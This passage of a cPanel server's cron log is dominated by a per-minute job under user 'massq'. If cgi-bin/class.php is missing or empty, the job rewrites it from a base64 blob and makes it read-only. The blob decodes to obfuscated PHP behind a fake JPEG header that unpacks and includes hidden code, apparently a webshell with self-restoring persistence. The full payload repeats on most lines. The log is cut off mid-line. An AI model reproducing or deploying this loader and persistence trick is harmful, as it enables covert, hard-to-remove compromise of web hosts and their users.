"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:38:01 server CROND[15610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:39:01 server CROND[15670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:39:01 server CROND[15671]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 08:40:01 server CROND[15756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 08:40:01 server CROND[15757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:40:01 server CROND[15758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:40:01 server CROND[15759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:41:01 server CROND[15889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:42:01 server CROND[16051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:42:01 server CROND[16052]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 08:43:01 server CROND[16145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:44:01 server CROND[16224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:45:01 server CROND[16301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:45:01 server CROND[16302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:45:01 server CROND[16305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:46:01 server CROND[16409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:47:01 server CROND[16575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:48:01 server CROND[16645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:49:01 server CROND[16721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:50:01 server CROND[16805]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 08:50:01 server CROND[16807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:50:01 server CROND[16808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:50:01 server CROND[16809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo